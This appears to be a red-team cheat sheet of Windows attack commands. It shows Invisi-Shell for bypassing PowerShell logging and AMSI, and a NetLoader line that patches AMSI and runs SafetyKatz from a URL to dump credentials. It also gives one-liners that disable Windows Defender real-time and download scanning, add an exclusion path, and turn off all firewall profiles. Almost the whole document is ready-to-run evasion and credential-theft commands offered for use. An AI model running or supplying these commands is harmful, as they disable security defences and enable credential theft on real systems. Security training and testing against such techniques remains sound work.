Invisi-Shell

GitHub - OmerYa/Invisi-Shell: Hide your Powershell script in plain sight. Bypass all Powershell security featuresGitHub

Invisi-Shell bypasses all of PowerShell security features (ScriptBlock logging, Module logging, Transcription, AMSI) by hooking

Usage

# With admin privileges:
RunWithPathAsAdmin.bat 

# More Silent
# With non-admin privileges:
RunWithRegistryNonAdmin.bat

# Type exit from the new PowerShell session to complete the clean-up.
exit

Loader

use NetLoader to unhook ETW and patch AMSI then run executable from URL without saving

NetLoader.exe -path http://127.0.0.1:8080/SafetyKatz.exe sekurlsa::ekeys exit

Windows Defender

Note: If Tamper protection is enabled you will not be able to turn off Defender by CMD or PowerShell. You can however, still create an exclusion.

Disable real time monitoring

Set-MpPreference -DisableRealtimeMonitoring $true

Disable scanning for downloaded files (more silent and preferred)

Set-MpPreference -DisableIOAVProtection $true

Create an exclusion

Add-MpPreference -ExclusionPath "C:\Windows\Temp"

Firewall

Note: requires Admin privileges.

Disable using PowerShell

Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False

Disable manually
